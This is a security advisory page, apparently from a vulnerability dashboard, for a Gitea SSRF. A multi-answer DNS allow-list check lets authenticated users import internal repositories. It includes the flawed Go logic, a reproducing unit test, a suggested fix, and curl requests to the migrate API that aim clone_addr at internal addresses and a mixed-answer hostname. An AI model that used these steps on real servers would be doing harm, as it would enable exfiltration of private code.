Kestrel
대시보드로 돌아가기
CVE-2026-58442MEDIUM· 6.5GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.5medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.16.5MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.

An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.

Details

The issue is in services/migrations/migrate.go, in the migration allow/block-list check.

Current logic computes whether any resolved IP is allowed:

text
1var ipAllowed bool
2var ipBlocked bool
3for _, addr := range addrList {
4 ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
5 ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
6}

Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:

text
1if !allowList.IsEmpty() {
2 if !allowList.MatchHostName(hostName) && !ipAllowed {
3 return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
4 }
5}

This means a hostname resolving to both:

  • an allowed public IP, e.g. 1.2.3.4
  • a blocked internal IP, e.g. 127.0.0.1

passes validation because the public IP sets ipAllowed = true.

The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.

The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.

PoC

I verified the vulnerable predicate locally against Gitea checkout:

text
1e8654c7e062431a521636703f47339cde64644fd

using Dockerized Go tests with golang:1.26.4.

The local test proves:

  • checkByAllowBlockList("loopback.example.test", [127.0.0.1]) is rejected.
  • checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1]) is accepted.

Minimal reproducer at the validation layer:

text
1func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
2 old := setting.Migrations
3 t.Cleanup(func() { setting.Migrations = old })
4
5 setting.Migrations.AllowedDomains = ""
6 setting.Migrations.BlockedDomains = ""
7 setting.Migrations.AllowLocalNetworks = false
8 require.NoError(t, Init())
9
10 err := checkByAllowBlockList("mixed.example.test", []net.IP{
11 net.ParseIP("1.2.3.4"),
12 net.ParseIP("127.0.0.1"),
13 })
14 require.NoError(t, err, "mixed public+loopback answers should currently pass")
15
16 err = checkByAllowBlockList("loopback.example.test", []net.IP{
17 net.ParseIP("127.0.0.1"),
18 })
19 require.Error(t, err, "loopback-only answer should be rejected")
20}

To reproduce end-to-end:

  1. Run Gitea with repository migration enabled and ALLOW_LOCALNETWORKS = false.
  2. Create a normal non-admin user that can create repositories.
  3. Run an internal Git HTTP service reachable only from the Gitea server, for example on 127.0.0.1:18082.
  4. Configure an attacker-controlled hostname so that DNS can return both a public address and 127.0.0.1, or can return a public address during Gitea's pre-flight validation and 127.0.0.1 during the later git clone.
  5. Confirm the direct internal migration is rejected:
bash
1curl -X POST http://GITEA/api/v1/repos/migrate \
2 -H "Authorization: token USER_TOKEN" \
3 -H "Content-Type: application/json" \
4 -d '{
5 "clone_addr": "http://127.0.0.1:18082/repo.git",
6 "repo_name": "direct-internal",
7 "service": "git",
8 "private": true
9 }'

Expected direct result:

text
1{"message":"You can not import from disallowed hosts."}
  1. Start a migration from the attacker-controlled multi-answer hostname:
bash
1curl -X POST http://GITEA/api/v1/repos/migrate \
2 -H "Authorization: token USER_TOKEN" \
3 -H "Content-Type: application/json" \
4 -d '{
5 "clone_addr": "http://mixed.example.test:18082/repo.git",
6 "repo_name": "multidns-ssrf",
7 "service": "git",
8 "private": true
9 }'

Expected vulnerable result:

  • The migration request is accepted.
  • The git subprocess can connect to the internal address.
  • Internal repository contents are imported into the attacker's new Gitea repository.

Impact

This is a server-side request forgery in repository migration.

An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.

Potentially impacted resources include:

  • internal Git repositories
  • localhost-only services
  • private network source-control services
  • metadata or internal infrastructure endpoints if reachable and compatible with the request path

The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.

Suggested fix

The migration allow/block-list check should fail closed for multi-answer DNS:

  • reject if any resolved IP is blocked
  • require all resolved IPs to be allowed when an allow-list is active
  • treat an empty resolution result as not IP-allowed
  • ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and git clone

For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:

text
1ipAllowed := len(addrList) > 0
2ipBlocked := false
3for _, addr := range addrList {
4 ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
5 ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
6}

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.